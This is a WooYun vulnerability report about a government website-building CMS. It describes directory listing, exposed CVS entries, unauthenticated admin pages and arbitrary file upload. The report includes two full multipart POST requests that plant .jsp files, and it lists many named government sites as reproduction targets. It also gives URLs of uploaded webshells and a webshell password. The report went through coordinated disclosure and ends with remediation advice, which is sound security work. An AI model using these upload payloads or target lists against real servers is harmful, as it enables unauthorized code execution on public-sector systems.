当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0104337

漏洞标题:某政府建站系统通用型漏洞打包

相关厂商:宁夏电通物联网技术有限公司

漏洞作者: 路人甲

提交时间:2015-03-30 17:42

修复时间:2015-07-02 15:36

公开时间:2015-07-02 15:36

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-30: 细节已通知厂商并且等待厂商处理中
2015-04-03: 厂商已经确认,细节仅向厂商公开
2015-04-06: 细节向第三方安全合作伙伴开放
2015-05-28: 细节向核心白帽子及相关领域专家公开
2015-06-07: 细节向普通白帽子公开
2015-06-17: 细节向实习白帽子公开
2015-07-02: 细节向公众公开

简要描述:

1#任意文件上传
2#目录浏览+SVN/CVS泄漏
3#大量管理页面未授权访问

详细说明:

首先这个厂商有前人提过的一个漏洞, WooYun: 某通用型政府建站系统由一个越权页面+恶意修改导致网站瞬间出错 ,文中提到存在越权的页面为
http://www.cn-dt.com.cn/cms/template/templateList.jsp
其实不止是该页面,通过系统的目录浏览,我们能发现更多的问题
以官网为例
2#目录浏览(非所有案例都存在,大部分)
http://www.cn-dt.com.cn//common/
http://www.cn-dt.com.cn/cms/
http://www.cn-dt.com.cn/extfile/
http://www.cn-dt.com.cn/conf/
http://www.cn-dt.com.cn/stat/
3#大量管理页面未授权访问
也就是说只要你猜得到目录名,目录底下的所有文件你都可以尝试是否存在越权访问
我举几个明显的例子(非所有案例都存在,大部分)
http://www.cn-dt.com.cn/stat/leftbar.jsp

QQ截图20150327214041.png


QQ截图20150327214051.png


http://www.cn-dt.com.cn/conf/ConfInputList.jsp#

QQ截图20150327214438.png


http://www.cn-dt.com.cn/conf/leftbar.jsp

QQ截图20150327214848.png


http://www.cn-dt.com.cn/conf/mqueryDetail.jsp?link=cms_td_info_history

QQ截图20150327214835.png


http://www.cn-dt.com.cn/common/acc/leftbar.jsp

QQ截图20150327215709.png


其实说白了就是根据 leftbar.jsp里的导航地址与主体地址一个个去尝试

QQ截图20150327215804.png


1#任意文件上传
在该系统中我发现了CVS信息,在浏览http://www.cn-dt.com.cn/common/sweditor/时,我发现目录没有出来,我就http://www.cn-dt.com.cn/common/sweditor/CVS/Entries
然后我就发现了这个

QQ截图20150327221157.png


http://www.cn-dt.com.cn/common/sweditor/ewebeditor.htm

QQ截图20150327221246.png


一直不懂为什么高版本的ie打不开上传窗口.....换ie6

QQ截图20150327222056.png


打开后和我想的完全不一样啊。目前看来是官网做了限制,我们试试在非官网上获取到的上传点http://jsgl.nxsl.gov.cn/common/toHtmlEdit.do?fld=icontent&mode=&id=

QQ截图20150327225108.png


抓包修改文件后缀之后,得到POC

QQ截图20150327225252.png


POST http://替换我/common/sweditor/jsp/savefile.jsp?action=save&type=image&style=full&language=zh-cn&cusdir= HTTP/1.0
Accept: */*
Referer:
Accept-Language: zh-cn
Content-Type: multipart/form-data; boundary=---------------------------7df25e29e022a
UA-CPU: x86
Pragma: no-cache
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: 替换我
Content-Length: 361
Connection: Keep-Alive
Cookie:
-----------------------------7df25e29e022a
Content-Disposition: form-data; name="uploadfile"; filename="C:\Documents and Settings\33.jsp"
Content-Type: image/pjpeg
wooyun test
-----------------------------7df25e29e022a
Content-Disposition: form-data; name="originalfile"
C:\Documents and Settings\33.jpg
-----------------------------7df25e29e022a--


QQ截图20150327223502.png


QQ截图20150327223657.png


http://www.cn-dt.com.cn/extfile/20150327/2015032710354433.jsp

QQ截图20150327223728.png


上传个一句话http://www.cn-dt.com.cn:80/extfile/20150327/2015032710373033.jsp

QQ截图20150327223908.png


为了不引起厂商滴警觉,我把jsp删除了~
上传直接用poc更快
以下几个案例供复现
宁夏建筑业信用网
http://61.133.208.18:8085/CVS/
http://61.133.208.18:8085/cms/
http://61.133.208.18:8085/common/toHtmlEdit.do?fld=icontent&mode=&id=

QQ截图20150327230038.png


一句话地址http://61.133.208.18:8085/extfile/20150327/2015032710593833.jsp
密码woo11yun

QQ截图20150327230239.png


在测试这个站的时候,我又发现了一处上传点,但该点官网已做了处理,不明白为何修复的补丁没有全部下发(该上传点少数站有效)
http://*/common/bas/uploadfile.jsp?mode=start

QQ截图20150327230655.png


QQ截图20150327230832.png


抓包,修改上传后的文件名newfilename,

POST http://修改我/common/uploadFile.do HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer:
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: multipart/form-data; boundary=---------------------------7df175e2030c
Accept-Encoding: gzip, deflate
Host: 修改我
Content-Length: 403
Connection: Keep-Alive
Pragma: no-cache
Cookie: 修改我,不要求登录,在访问网站的时候都会生成一个,直接把那个复制过来
-----------------------------7df175e2030c
Content-Disposition: form-data; name="cfile"; filename="121.txt"
Content-Type: text/plain
wooyun test
-----------------------------7df175e2030c
Content-Disposition: form-data; name="newfilename"
wooyun.jsp
-----------------------------7df175e2030c
Content-Disposition: form-data; name="prename"
121.txt
-----------------------------7df175e2030c--


QQ截图20150327231512.png


http://61.133.208.18:8085/extfile/20150327/2010361252-wooyun.jsp

QQ截图20150327231609.png


还有以下案例:
http://jsgl.nxsl.gov.cn/CVS/
http://jsgl.nxsl.gov.cn/common/toHtmlEdit.do?fld=icontent&mode=&id=
利用poc

QQ截图20150327232426.png


http://jsgl.nxsl.gov.cn/extfile/20150327/2015032711234333.jsp

QQ截图20150327232525.png


http://www.nxzj.org.cn/common
http://www.nxzj.org.cn/common/toHtmlEdit.do?fld=icontent&mode=&id=

QQ截图20150327233033.png


http://www.nxzj.org.cn/extfile/20150327/2015032711332933.jsp

QQ截图20150327233113.png


http://12366.nxds.gov.cn/common
http://12366.nxds.gov.cn/common/toHtmlEdit.do?fld=icontent&mode=&id=
http://12366.nxds.gov.cn:80/common/sweditor/uploadfile/2015032711330133.jsp

QQ截图20150327233606.png


http://www.nxnc.gov.cn/common/CVS/Entries
http://www.nxnc.gov.cn/common/toHtmlEdit.do?fld=icontent&mode=&id=

QQ截图20150327234822.png


http://www.nxnc.gov.cn:80/common/sweditor/uploadfile/2015032711473333.jsp
http://www.nxgczl.com.cn/common/CVS/Entries
http://www.nxgczl.com.cn/common/toHtmlEdit.do?fld=icontent&mode=&id=
http://www.nxgczl.com.cn/common/sweditor/uploadfile/2015032710452933.jsp

QQ截图20150327235051.png


http://www.nxzb.com.cn//common/CVS/Entries
http://www.nxzb.com.cn/common/toHtmlEdit.do?fld=icontent&mode=&id=
http://www.nxzb.com.cn:80/extfile/20150327/2015032710501333.jsp

QQ截图20150327235532.png


http://gxj.yinchuan.gov.cn/common/CVS/Entries
http://gxj.yinchuan.gov.cn//common/toHtmlEdit.do?fld=icontent&mode=&id=

QQ截图20150328001134.png


http://gxj.yinchuan.gov.cn:80/extfile/20150328/2015032812105733.jsp

QQ截图20150328001203.png


http://dfz.yinchuan.gov.cn/common/CVS/Entries
http://dfz.yinchuan.gov.cn/common/toHtmlEdit.do?fld=icontent&mode=&id=

QQ截图20150328001716.png


http://dfz.yinchuan.gov.cn:80/extfile/20150328/2015032812163733.jsp

漏洞证明:

http://dfz.yinchuan.gov.cn:80/extfile/20150328/2015032812163733.jsp
http://gxj.yinchuan.gov.cn:80/extfile/20150328/2015032812105733.jsp
http://www.nxzb.com.cn:80/extfile/20150327/2015032710501333.jsp
http://www.nxgczl.com.cn/common/sweditor/uploadfile/2015032710452933.jsp
http://www.nxnc.gov.cn:80/common/sweditor/uploadfile/2015032711473333.jsp
http://12366.nxds.gov.cn:80/common/sweditor/uploadfile/2015032711330133.jsp

QQ截图20150327214041.png


QQ截图20150327223502.png


QQ截图20150327223908.png


QQ截图20150327233606.png


QQ截图20150327230239.png


QQ截图20150327221157.png

修复方案:

删除不正确的SVN、CVS配置
控制权限
上传点过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:17

确认时间:2015-04-03 15:35

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给宁夏分中心,由其后续协调网站管理单位处置。

最新状态:

暂无